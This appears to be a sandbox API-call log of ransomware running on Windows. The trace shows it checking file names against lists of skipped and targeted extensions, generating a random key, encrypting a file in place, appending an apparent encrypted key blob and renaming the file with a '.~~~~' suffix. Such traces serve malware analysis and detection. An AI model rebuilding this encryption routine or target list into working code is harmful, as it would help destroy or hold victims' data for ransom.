	[0085.697] lstrlenW (lpString=".dacpac") returned 7
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dacpac") returned 0x0
	[0085.697] lstrlenW (lpString=".sdf") returned 4
	[0085.697] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".sdf") returned 0x0
	[0085.697] lstrlenW (lpString=".accdb") returned 6
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".accdb") returned 0x0
	[0085.698] lstrlenW (lpString=".DBX") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DBX") returned 0x0
	[0085.698] lstrlenW (lpString=".MDT") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".MDT") returned 0x0
	[0085.698] lstrlenW (lpString=".SQB") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".SQB") returned 0x0
	[0085.698] lstrlenW (lpString=".vhd") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".vhd") returned 0x0
	[0085.698] lstrlenW (lpString=".bac") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".bac") returned 0x0
	[0085.698] lstrlenW (lpString=".mdf") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".mdf") returned 0x0
	[0085.698] lstrlenW (lpString=".BAK") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".BAK") returned 0x0
	[0085.698] lstrlenW (lpString=".BAC") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".BAC") returned 0x0
	[0085.698] lstrlenW (lpString=".dbs") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dbs") returned 0x0
	[0085.698] lstrlenW (lpString=".vhdx") returned 5
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".vhdx") returned 0x0
	[0085.698] lstrlenW (lpString=".NDF") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".NDF") returned 0x0
	[0085.698] lstrlenW (lpString=".dat") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dat") returned 0x0
	[0085.698] lstrlenW (lpString=".DBS") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DBS") returned 0x0
	[0085.698] lstrlenW (lpString=".CKP") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".CKP") returned 0x0
	[0085.698] lstrlenW (lpString=".edb") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".edb") returned 0x0
	[0085.698] lstrlenW (lpString=".PST") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".PST") returned 0x0
	[0085.698] lstrlenW (lpString=".dbf") returned 4
	[0085.698] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dbf") returned 0x0
	[0085.699] lstrlenW (lpString=".SQL") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".SQL") returned 0x0
	[0085.699] lstrlenW (lpString=".pst") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".pst") returned 0x0
	[0085.699] lstrlenW (lpString=".dbv") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dbv") returned 0x0
	[0085.699] lstrlenW (lpString=".SDF") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".SDF") returned 0x0
	[0085.699] lstrlenW (lpString=".dtxs") returned 5
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dtxs") returned 0x0
	[0085.699] lstrlenW (lpString=".db3") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".db3") returned 0x0
	[0085.699] lstrlenW (lpString=".OST") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".OST") returned 0x0
	[0085.699] lstrlenW (lpString=".dbx") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dbx") returned 0x0
	[0085.699] lstrlenW (lpString=".DB3") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DB3") returned 0x0
	[0085.699] lstrlenW (lpString=".DAT") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DAT") returned 0x0
	[0085.699] lstrlenW (lpString=".VHDX") returned 5
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".VHDX") returned 0x0
	[0085.699] lstrlenW (lpString=".ndf") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".ndf") returned 0x0
	[0085.699] lstrlenW (lpString=".DB") returned 3
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DB") returned 0x0
	[0085.699] lstrlenW (lpString=".sql") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".sql") returned 0x0
	[0085.699] lstrlenW (lpString=".MYD") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".MYD") returned 0x0
	[0085.699] lstrlenW (lpString=".DBT") returned 4
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DBT") returned 0x0
	[0085.699] lstrlenW (lpString=".ACCDB") returned 6
	[0085.699] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".ACCDB") returned 0x0
	[0085.700] lstrlenW (lpString=".fdb") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".fdb") returned 0x0
	[0085.700] lstrlenW (lpString=".bak") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".bak") returned 0x0
	[0085.700] lstrlenW (lpString=".myd") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".myd") returned 0x0
	[0085.700] lstrlenW (lpString=".DTXS") returned 5
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".DTXS") returned 0x0
	[0085.700] lstrlenW (lpString=".ckp") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".ckp") returned 0x0
	[0085.700] lstrlenW (lpString=".dbt") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".dbt") returned 0x0
	[0085.700] lstrlenW (lpString=".db") returned 3
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".db") returned 0x0
	[0085.700] lstrlenW (lpString=".TXT") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".TXT") returned 0x0
	[0085.700] lstrlenW (lpString=".MDF") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".MDF") returned 0x0
	[0085.700] lstrlenW (lpString=".bdb") returned 4
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".bdb") returned 0x0
	[0085.700] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.700] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0085.700] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.700] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0085.701] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.701] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0085.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x286e200
	[0085.701] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20569143397) returned 1
	[0085.701] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9ce659b0, dwHighDateTime=0x1d60e1e)) 
	[0085.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0085.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0085.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0085.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6160
	[0085.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6160 | out: hHeap=0x300000) returned 1
	[0085.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808480
	[0085.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.702] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808480 | out: hHeap=0x300000) returned 1
	[0085.702] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0085.702] GetLastError () returned 0x0
	[0085.702] GetLastError () returned 0x0
	[0085.702] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0085.702] GetLastError () returned 0x0
	[0085.702] GetLastError () returned 0x0
	[0085.704] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff07e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.704] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xf82, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x26dfec0*=0xf82, lpOverlapped=0x0) returned 1
	[0085.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0085.704] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.705] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.705] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.705] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.705] CloseHandle (hObject=0x128) returned 1
	[0085.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f7388
	[0085.705] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.~~~~")) returned 1
	[0085.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f7388 | out: hHeap=0x300000) returned 1
	[0085.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0085.706] GetLastError () returned 0x0
	[0085.706] RtlWakeConditionVariable () returned 0x365f70
	[0085.706] GetCurrentThreadId () returned 0x9cc
	[0085.706] GetCurrentThreadId () returned 0x9cc
	[0085.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f56c8
	[0085.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f5780 | out: hHeap=0x300000) returned 1
	[0085.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6128 | out: hHeap=0x300000) returned 1
	[0085.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x27f5780
	[0085.706] lstrlenW (lpString=".scr") returned 4
	[0085.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".scr") returned 0x0
	[0085.706] lstrlenW (lpString=".cmd") returned 4
	[0085.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".cmd") returned 0x0
	[0085.706] lstrlenW (lpString=".dll") returned 4
	[0085.706] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dll") returned 0x0
	[0085.706] lstrlenW (lpString=".bat") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".bat") returned 0x0
	[0085.707] lstrlenW (lpString=".cpl") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".cpl") returned 0x0
	[0085.707] lstrlenW (lpString=".sys") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".sys") returned 0x0
	[0085.707] lstrlenW (lpString=".msc") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".msc") returned 0x0
	[0085.707] lstrlenW (lpString=".com") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".com") returned 0x0
	[0085.707] lstrlenW (lpString=".lnk") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".lnk") returned 0x0
	[0085.707] lstrlenW (lpString=".msp") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".msp") returned 0x0
	[0085.707] lstrlenW (lpString=".pif") returned 4
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".pif") returned 0x0
	[0085.707] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.707] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch="msp\r\n.pif") returned 0x0
	[0085.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0085.709] lstrlenW (lpString=".sqb") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".sqb") returned 0x0
	[0085.709] lstrlenW (lpString=".ost") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".ost") returned 0x0
	[0085.709] lstrlenW (lpString=".txt") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".txt") returned 0x0
	[0085.709] lstrlenW (lpString=".mdt") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".mdt") returned 0x0
	[0085.709] lstrlenW (lpString=".BDB") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".BDB") returned 0x0
	[0085.709] lstrlenW (lpString=".eql") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".eql") returned 0x0
	[0085.709] lstrlenW (lpString=".DBF") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DBF") returned 0x0
	[0085.709] lstrlenW (lpString=".EQL") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".EQL") returned 0x0
	[0085.709] lstrlenW (lpString=".FDB") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".FDB") returned 0x0
	[0085.709] lstrlenW (lpString=".EDB") returned 4
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".EDB") returned 0x0
	[0085.709] lstrlenW (lpString=".DACPAC") returned 7
	[0085.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DACPAC") returned 0x0
	[0085.709] lstrlenW (lpString=".VHD") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".VHD") returned 0x0
	[0085.710] lstrlenW (lpString=".DBV") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DBV") returned 0x0
	[0085.710] lstrlenW (lpString=".dacpac") returned 7
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dacpac") returned 0x0
	[0085.710] lstrlenW (lpString=".sdf") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".sdf") returned 0x0
	[0085.710] lstrlenW (lpString=".accdb") returned 6
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".accdb") returned 0x0
	[0085.710] lstrlenW (lpString=".DBX") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DBX") returned 0x0
	[0085.710] lstrlenW (lpString=".MDT") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".MDT") returned 0x0
	[0085.710] lstrlenW (lpString=".SQB") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".SQB") returned 0x0
	[0085.710] lstrlenW (lpString=".vhd") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".vhd") returned 0x0
	[0085.710] lstrlenW (lpString=".bac") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".bac") returned 0x0
	[0085.710] lstrlenW (lpString=".mdf") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".mdf") returned 0x0
	[0085.710] lstrlenW (lpString=".BAK") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".BAK") returned 0x0
	[0085.710] lstrlenW (lpString=".BAC") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".BAC") returned 0x0
	[0085.710] lstrlenW (lpString=".dbs") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dbs") returned 0x0
	[0085.710] lstrlenW (lpString=".vhdx") returned 5
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".vhdx") returned 0x0
	[0085.710] lstrlenW (lpString=".NDF") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".NDF") returned 0x0
	[0085.710] lstrlenW (lpString=".dat") returned 4
	[0085.710] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".dat") returned 0x0
	[0085.710] lstrlenW (lpString=".DBS") returned 4
	[0085.711] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM", lpSrch=".DBS") returned 0x0
